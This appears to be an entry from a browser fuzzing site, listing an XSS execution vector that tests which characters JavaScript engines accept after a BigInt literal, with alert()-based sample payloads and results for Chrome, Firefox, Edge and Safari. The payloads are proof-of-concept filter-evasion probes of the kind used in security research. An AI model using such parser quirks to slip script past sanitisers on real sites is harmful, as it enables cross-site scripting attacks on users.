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Characters allowed after a bigint

Chrome logo 25
Firefox logo 25
Edge logo 25
Safari logo 25

This vector shows what characters are allowed after a bigint

hackvertor
Created byhackvertor
Created Jul 18, 2025
Updated Jul 18, 2025

Tweet
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CategoryXSS Execution
VisibilityPublic
TypeJS
CharsetUTF-8
Template used:
1337n$[chr]in log($[i])

Sample payloads

1337n09in alert(9)
1337n
in alert(10)
1337n0x0Bin alert(11)
1337n0x0Cin alert(12)
1337n0x0Din alert(13)
1337n in alert(32)
1337n in alert(160)
1337nin alert(5760)
1337n in alert(8192)
1337nin alert(8193)
1337nin alert(8194)
1337nin alert(8195)
1337nin alert(8196)
1337nin alert(8197)
1337nin alert(8198)
1337nin alert(8199)
1337nin alert(8200)
1337nin alert(8201)
1337nin alert(8202)
1337nin alert(8232)

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 25 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated25 Jan 2026
Found 25 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 25 results
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Firefox logo
Firefox 140.0 desktop macOS 10.15older version
Updated18 Jul 2025
Found 25 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 25 results
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Safari logo
Safari 26.0 desktop macOS 10.15.7
Updated18 Jul 2025
Found 25 results
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